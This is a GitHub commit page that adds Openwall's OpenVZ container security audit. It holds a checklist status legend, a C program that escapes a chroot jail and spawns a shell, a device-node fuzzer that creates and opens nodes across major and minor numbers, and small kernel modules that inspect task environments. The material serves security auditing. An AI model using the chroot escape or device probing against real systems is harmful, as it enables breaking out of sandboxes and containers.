Skip to content

Commit e7aedd0

Browse files
Adding Openwall's OpenVZ audit. Courtesy of Solar Designer
1 parent e902fff commit e7aedd0

File tree

27 files changed

+1895
-0
lines changed

27 files changed

+1895
-0
lines changed

Openwall/OpenVZ-audit/checklist

Lines changed: 397 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
(nothing) item yet to be done
2+
- determined to not be done
3+
? uncertain whether the item should be done
4+
+ completed (code reviewed, etc.) - status may be available in subitems
5+
+/- partially completed, the rest is not to be done
6+
+R completed and Reported to OVZ team
7+
+OK code reviewed or functionality tested, no vulnerabilities found
8+
+B Bug(s) found (typically security-relevant)
9+
+BF Bug(s), already Fixed in current OVZ
10+
+BU Bug(s) in Upstream code with no OVZ specifics
11+
+BR Bug(s), already Reported to OVZ team
12+
+BUR Bug(s) in Upstream code, no OVZ specifics, already Reported to OVZ team
13+
+WB Would be Bug (if a non-default kernel option is enabled, etc.)
14+
+ND Need Documentation
15+
+NDR Need Documentation, already Reported to OVZ team
16+
17+
Additional modifiers:
18+
+..? uncertain of the (preliminary) conclusion
19+
+.. t testing rather than code review was used
20+
+..+t testing was done in addition to code review
Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#include <unistd.h>
2+
#include <sys/stat.h>
3+
4+
int main(void)
5+
{
6+
mkdir("x", 0700);
7+
chroot("x");
8+
chdir("../../../../../../../../../../..");
9+
chroot(".");
10+
execl("/bin/sh", "sh", 0);
11+
return 1;
12+
}
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#include <unistd.h>
2+
#include <errno.h>
3+
4+
#ifdef __linux__
5+
#include <linux/limits.h>
6+
#else
7+
#define NR_OPEN 1024
8+
#endif
9+
10+
int close_all(void)
11+
{
12+
int fd, max, err;
13+
14+
max = sysconf(_SC_OPEN_MAX);
15+
err = max <= 0;
16+
17+
if (max < NR_OPEN)
18+
max = NR_OPEN;
19+
20+
for (fd = 3; fd < max; fd++)
21+
err |= close(fd) && errno != EBADF;
22+
23+
return -err;
24+
}
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
CC=gcc
2+
CFLAGS = -Wall -O2 -fomit-frame-pointer
3+
LDFLAGS = -s
4+
5+
all: devfuzzer
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#include <stdio.h>
2+
#include <string.h>
3+
#include <errno.h>
4+
#include <unistd.h>
5+
#include <fcntl.h>
6+
#include <sys/types.h>
7+
#include <sys/stat.h>
8+
9+
#define DEVNAME "tmpdev"
10+
11+
static void fuzzer(mode_t type)
12+
{
13+
mode_t mode = type | (S_IRUSR | S_IWUSR);
14+
unsigned int major, minor;
15+
int retval, saved_errno;
16+
17+
unlink(DEVNAME);
18+
19+
for (major = 0; major < 1024; major++)
20+
for (minor = 0; minor < 256; minor++) {
21+
retval = mknod(DEVNAME, mode, makedev(major, minor));
22+
if (retval == -1) {
23+
saved_errno = errno;
24+
unlink(DEVNAME);
25+
printf("mknod %c %u %u = -1 errno=%d (\"%s\")\n",
26+
"cb"[type == S_IFBLK], major, minor,
27+
saved_errno, strerror(saved_errno));
28+
continue;
29+
}
30+
31+
retval = open(DEVNAME, O_RDONLY | O_NOCTTY);
32+
saved_errno = errno;
33+
unlink(DEVNAME);
34+
if (retval >= 0)
35+
close(retval);
36+
37+
printf("open %c %u %u = %d",
38+
"cb"[type == S_IFBLK], major, minor, retval);
39+
if (retval == -1)
40+
printf(" errno=%d (\"%s\")",
41+
saved_errno, strerror(saved_errno));
42+
putchar('\n');
43+
}
44+
}
45+
46+
int main(void)
47+
{
48+
fuzzer(S_IFCHR);
49+
fuzzer(S_IFBLK);
50+
return 0;
51+
}
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
CC = gcc
2+
CFLAGS = -O2 -I/lib/modules/2.6.8-022stab050.1-smp/build/include -I/lib/modules/2.6.8-022stab050.1-smp/build/include/asm-i386/mach-default
3+
4+
all: eechecker1.o eechecker2.o
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
#define MODULE
2+
#define __KERNEL__
3+
#define _LOOSE_KERNEL_NAMES
4+
#define __SMP__
5+
#include <linux/module.h>
6+
#include <linux/kernel.h>
7+
#include <linux/sched.h>
8+
9+
#define WATCHPID 20538
10+
11+
int init_module(void)
12+
{
13+
struct task_struct *task;
14+
unsigned int i;
15+
16+
task = find_task_by_pid_ve(WATCHPID);
17+
if (!task)
18+
return -ESRCH;
19+
20+
for (i = 0; i < 0x10000000; i++) {
21+
rmb();
22+
if (ve_is_super(VE_TASK_INFO(task)->exec_env)) {
23+
printk("ve_is_super at %u\n", i);
24+
return -EEXIST;
25+
}
26+
}
27+
28+
return -EAGAIN;
29+
}
30+
31+
void cleanup_module(void)
32+
{
33+
}
34+
35+
#include <linux/vermagic.h>
36+
37+
// MODULE_INFO(vermagic, VERMAGIC_STRING);
38+
MODULE_LICENSE("GPL");
39+
40+
struct module __this_module
41+
__attribute__((section(".gnu.linkonce.this_module"))) = {
42+
.name = "exec_env_checker",
43+
.init = init_module,
44+
.exit = cleanup_module
45+
};
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#define MODULE
2+
#define __KERNEL__
3+
#define _LOOSE_KERNEL_NAMES
4+
#define __SMP__
5+
#include <linux/module.h>
6+
#include <linux/kernel.h>
7+
#include <linux/sched.h>
8+
9+
int init_module(void)
10+
{
11+
struct task_struct *task;
12+
13+
for_each_process_all(task) {
14+
printk("pid=%u ve_task_info=%p exec_env=%p "
15+
"task_bc=%p exec_ub=%p\n",
16+
task->pid,
17+
VE_TASK_INFO(task),
18+
VE_TASK_INFO(task)->exec_env,
19+
task_bc(task),
20+
task_bc(task)->exec_ub);
21+
}
22+
23+
return -EAGAIN;
24+
}
25+
26+
void cleanup_module(void)
27+
{
28+
}
29+
30+
#include <linux/vermagic.h>
31+
32+
// MODULE_INFO(vermagic, VERMAGIC_STRING);
33+
MODULE_LICENSE("GPL");
34+
35+
struct module __this_module
36+
__attribute__((section(".gnu.linkonce.this_module"))) = {
37+
.name = "exec_env_checker",
38+
.init = init_module,
39+
.exit = cleanup_module
40+
};
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
CC=gcc
2+
CFLAGS = -Wall -O2 -fomit-frame-pointer
3+
LDFLAGS = -s
4+
5+
all: iflood

0 commit comments

Comments
 (0)